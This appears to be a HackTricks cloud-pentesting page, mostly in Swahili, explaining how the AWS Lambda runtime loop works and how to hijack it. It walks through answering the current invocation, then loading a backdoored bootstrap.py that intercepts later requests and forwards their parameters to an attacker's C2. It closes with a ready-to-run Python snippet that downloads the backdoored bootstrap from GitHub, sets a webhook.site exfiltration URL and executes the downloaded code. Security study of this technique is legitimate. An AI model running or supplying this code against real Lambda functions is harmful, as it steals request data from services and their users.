AWS - Steal Lambda Requests

Jifunze kuhusu udukuzi wa AWS kutoka mwanzo hadi mtaalamu na htARTE (Mtaalamu wa Timu Nyekundu ya HackTricks AWS)!

Njia nyingine za kusaidia HackTricks:

Mchakato wa Lambda

  1. Slicer ni mchakato nje ya chombo ambao hutuma maombi kwa mchakato wa init.

  2. Mchakato wa init husikiliza kwenye bandari 9001 ukiweka wazi baadhi ya vituo vya kupendeza:

  • /2018-06-01/runtime/invocation/next – pata tukio la maombi linalofuata

  • /2018-06-01/runtime/invocation/{invoke-id}/response – rudisha jibu la kiongozi kwa ombi

  • /2018-06-01/runtime/invocation/{invoke-id}/error – rudisha kosa la utekelezaji

  1. bootstrap.py ina mzunguko unapata maombi kutoka kwa mchakato wa init na kuita nambari za watumiaji kuzishughulikia (/next).

  2. Hatimaye, bootstrap.py inatuma kwa init jibu

Tambua kwamba bootstrap inapakia nambari ya mtumiaji kama moduli, hivyo utekelezaji wa nambari uliofanywa na nambari za watumiaji unatokea katika mchakato huu.

Kuiba Maombi ya Lambda

Lengo la shambulio hili ni kufanya nambari za watumiaji zitekeleze mchakato mbaya wa bootstrap.py ndani ya mchakato wa bootstrap.py ambao unashughulikia ombi lililodhurika. Kwa njia hii, mchakato wa bootstrap mbaya utaanza kuzungumza na mchakato wa init kushughulikia maombi wakati bootstrap halali umekwama ukiendesha ule mbaya, hivyo hautauliza maombi kwa mchakato wa init.

Hii ni kazi rahisi kufanikisha kwani nambari ya mtumiaji inatekelezwa na bootstrap.py halali. Kwa hivyo, muhusika anaweza:

  • Tuma matokeo bandia ya ombi la sasa kwa mchakato wa init, hivyo init inadhani mchakato wa bootstrap unangojea maombi zaidi.

  • Ombi lazima litumwe kwa /${invoke-id}/response

  • Invoke-id inaweza kupatikana kutoka kwenye rundo la bootstrap.py halali kwa kutumia moduli ya python ya inspect (kama ilivyopendekezwa hapa) au tu kuomba tena kwa /2018-06-01/runtime/invocation/next (kama ilivyopendekezwa hapa).

  • Tekeleza mchakato mbaya wa boostrap.py ambao utashughulikia maombi yajayo

  • Kwa madhumuni ya kujificha, inawezekana kutuma vigezo vya maombi ya lambda kwa C2 inayodhibitiwa na muhusika na kisha kushughulikia maombi kama kawaida.

  • Kwa shambulio hili, ni vya kutosha kupata nambari ya asili ya bootstrap.py kutoka kwenye mfumo au github, ongeza nambari mbaya na uitekeleze kutoka kwa ombi la lambda la sasa.

Hatua za Shambulio

  1. Tafuta mdhaa wa RCE.

  2. Tekeleza bootstrap mbaya.

Unaweza kufanya vitendo hivi kwa urahisi kwa kukimbia:

python3 <<EOF
import os
import urllib3

# Download backdoored bootstrap
http = urllib3.PoolManager()
backdoored_bootstrap_url = "https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py"
new_runtime = http.request('GET', backdoored_bootstrap_url).data

# Load new bootstrap
os.environ['URL_EXFIL'] = "https://webhook.site/c7036f43-ce42-442f-99a6-8ab21402a7c0"

exec(new_runtime)
EOF

Kwa maelezo zaidi angalia https://github.com/carlospolop/lambda_bootstrap_switcher

Marejeo

Jifunze AWS hacking kutoka sifuri hadi shujaa na htARTE (HackTricks AWS Red Team Expert)!

Njia nyingine za kusaidia HackTricks:

Last updated